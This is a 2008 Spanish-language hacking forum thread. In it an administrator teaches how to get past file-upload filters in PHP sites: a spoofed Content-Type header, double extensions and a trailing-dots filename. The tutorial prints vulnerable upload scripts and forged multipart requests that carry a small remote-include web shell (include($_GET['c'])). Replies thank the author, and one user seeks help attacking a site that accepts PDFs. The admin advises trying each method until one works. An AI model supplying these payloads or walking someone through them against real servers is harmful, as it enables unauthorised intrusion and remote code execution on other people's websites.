vZack
Noviembre 19, 2008, 05:15:38 pm *
Bienvenido(a), Visitante. Favor de ingresar o registrarse.

Ingresar con nombre de usuario, contraseña y duración de la sesión
Noticias: Ya estamos online!
 
   Inicio   Ayuda Ingresar Registrarse  
Páginas: [1]   Ir Abajo
  Imprimir  
Autor Tema: Bypasseando filtros de uploads y subiendo archivos .php  (Leído 1525 veces)
vZer
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 279


WWW
« en: Agosto 03, 2008, 06:58:00 pm »

1.- Introducción
Muchas veces me he encontrado con paginas con uploads que intentan filtrar el contenido y la extensión del archivo para impedir que cualquiera pueda subir archivos .php por ejemplo. En este manual os enseñare algunos trucos para bypassear algunas maneras que usan para filtrar los archivos que son subidos.


2.- Métodos de filtrado que utilizan y sus vulnerabilidades:



2.1.- Bypasseando uploads que usan ['type']

Código:
<?php
$archivo 
$HTTP_POST_FILES['archivo'];
$tipo $archivo['type'];
if (!(
strpos($tipo"jpeg"))) {
echo
'No aceptamos ese tipo de archivos';
}else{
    if (
move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo 
"Archivo subido correctamente a <a href='".$archivo['name']."'>Archivo</a>";
    }else{
       echo 
"Imposible subir archivo";
    }

?>

El código vulnerable esta situado en: $archivo['type']; Ya que type es extraído de los headers que envía el navegador al subir un archivo, Por ejemplo este es el contenido de post que envía mi firefox al subir una imagen a ese upload:

Código:
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
BMV\x80\x0e

Analicemoslo línea por línea:

Código:
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Hay se especifica el nombre del archivo que se esta subiendo al upload: imagen.jpg

Código:
Content-Type: image/jpeg\r\n
Hay se especifica de que "tipo" es el archivo

En las siguientes lineas se dice cual es el contenido del archivo.

Si querríamos subir un archivo .php al servidor solamente tendríamos que mandar esta petición:

Código:
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="mishell.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php include($_GET['c']); ?>


Si mandaríamos esa petición al anterior upload conseguiríamos subir mishell.php con éxito, para modificar las cabeceras que manda tu navegador puedes instalar este complemento en tu firefox:
https://addons.mozilla.org/es-ES/firefox/addon/3829

Ese complemento capturara todas las peticiones que envié tu navegador, solo tienes que darle a repetir para editarlas.



2.2 Uploads que miran la extensión del archivo
Hay otro tipo de uploads que miran la extensión del archivo, aquí os pongo un ejemplo:

Código:
<?php
$archivo 
$HTTP_POST_FILES['archivo'];
$nombre $archivo['name'];
$exploded explode('.'$nombre);
$extension $exploded['1'];

if (!(
$extension != 'jpg')) {
echo
'No aceptamos ese tipo de archivos';
}else{
    if (
move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo 
"Archivo subido correctamente a <a href='".$archivo['name']."'>Archivo</a>";
    }else{
       echo 
"Imposible subir archivo";
    }

?>

Ese es un ejemplo muy simple, hay bastaría con subir un archivo con nombre mishell.jpeg.php para bypassear su filtro.

Aquí pongo otro un poco mas complicado:

Código:
<?php
$archivo 
$HTTP_POST_FILES['archivo'];
$nombre $archivo['name'];
$extension strrchr($nombre'.');
if (
$extension == 'php' or $extension == 'php5') {
echo
'No aceptamos ese tipo de archivos';
}else{
    if (
move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo 
"Archivo subido correctamente a <a href='".$archivo['name']."'>Archivo</a>";
    }else{
       echo 
"Imposible subir archivo";
    }

?>

Ese upload denegaría subir la extensión .php  pero nosotros queremos subir un archivo .php :p.

Si subiriamos un archivo llamado mishell.jpg.php no nos dejaria ya que usa $extension = strrchr($nombre, '.'); y hay nos denegaría la extension. Subir un archivo llamado mishell.php.jpg tampoco nos valdría ya que .jpg no se ejecutaria en el servidor. La solución esta en subir un archivo llamado mishell.php.... por ejemplo así bypasseariamos el filtro y mishell.php.... podría ser leído como php en el servidor, veamos como hacerlo:

Primero con el live http headers capturamos la petición que manda nuestro navegador al subir un archivo llamado mishell.jpg:

Código:
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
<? include($_GET[s]); ?>

ahora le dariamos al boton que dice repetir y modificariamos la peticion asi:ç

Código:
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.php...."\r\n
Content-Type: image/jpeg\r\n
\r\n
<? include($_GET[s]); ?>

Así veríamos como imagen.php.... se a subido al servidor correctamente y si todo va bien se ejecutara como si fuera un archivo .php



Eso es todo Cheesy Cualquier duda o problema que os surja no dudéis en postearlo Cheesy
Saludos
En línea

|Hendrix|
Inactivo
*
Desconectado Desconectado

Mensajes: 3


« Respuesta #1 en: Agosto 04, 2008, 01:19:28 am »

Hola, el tuto está bueno, comprendí mucho, pero se nos haria mas facil si nos pones una web por ejemplo, para saber bien como hacer todo. Wink

Se nota que sabes mucho del tema, podrias hacer grandes guias para enseñarnos a los que no sabemos mucho..

Nos vemos
En línea
vZer
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 279


WWW
« Respuesta #2 en: Agosto 04, 2008, 01:38:04 am »

Próximamente pondré la web de ejemplos :p
En línea

N4THAN1EL
Desastre natural
**
Desconectado Desconectado

Mensajes: 9


« Respuesta #3 en: Agosto 29, 2008, 05:55:12 am »

Gran tutorial! Wink
En línea
3rdef
Inactivo
*
Desconectado Desconectado

Mensajes: 4


« Respuesta #4 en: Agosto 29, 2008, 06:05:28 am »

Que tutorial juass rlz bro ^^
En línea
kyps
Inactivo
*
Desconectado Desconectado

Mensajes: 1


« Respuesta #5 en: Septiembre 22, 2008, 07:57:35 pm »

algun video tuto de como aserlo? sk no me sale
En línea
Em3Trix
Desastre natural
**
Desconectado Desconectado

Mensajes: 7



« Respuesta #6 en: Septiembre 23, 2008, 12:02:53 am »

Citar
algun video tuto de como aserlo? sk no me sale

-.-'... Que es lo que no te sale...

Te recomendaria que uses achilles, me resulta mas rapido que el addon xD

Em3trix
En línea
LiBra
Inactivo
*
Desconectado Desconectado

Mensajes: 2


« Respuesta #7 en: Septiembre 28, 2008, 10:31:04 pm »

perdon le doy repetor edito y a la hora de guardar donde tendria que darle repetir otra vez ?

o tengo que guardar un archivo con extencion .JPG y subirlo con esta informacion Huh?

Código:
-----------------------------217261477111538\r\n
Content-Disposition: form-data; name="archivo"; filename="mishell.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php include($_GET['c']); ?>
En línea
vZor
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 223



« Respuesta #8 en: Septiembre 29, 2008, 12:48:55 am »

perdon le doy repetor edito y a la hora de guardar donde tendria que darle repetir otra vez ?

o tengo que guardar un archivo con extencion .JPG y subirlo con esta informacion Huh?

Código:
-----------------------------217261477111538\r\n
Content-Disposition: form-data; name="archivo"; filename="mishell.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php include($_GET['c']); ?>
depende del tipo de upload
En línea

LiBra
Inactivo
*
Desconectado Desconectado

Mensajes: 2


« Respuesta #9 en: Septiembre 29, 2008, 10:23:52 am »

Es .pdf  es el formato que acepta la web ..
En línea
vZor
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 223



« Respuesta #10 en: Octubre 04, 2008, 05:45:20 pm »

Es .pdf  es el formato que acepta la web ..

eso da lo mismo, la cuestion es lo que mira el upload, tienes que ir probando los diferentes metodos haber si es vulnerable.
En línea

Rawr
Desastre natural
**
Desconectado Desconectado

Mensajes: 6


« Respuesta #11 en: Octubre 12, 2008, 06:27:24 am »

FIXED REMOVED xd
En línea
vZor
Administrator
Dios del caos
******
Desconectado Desconectado

Sexo: Masculino
Mensajes: 223



« Respuesta #12 en: Octubre 12, 2008, 05:47:49 pm »

FIXED REMOVED xd

eing?
En línea

Páginas: [1]   Ir Arriba
  Imprimir  
 
Ir a:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.1 | SMF © 2006-2008, Simple Machines LLC XHTML 1.0 válido! CSS válido!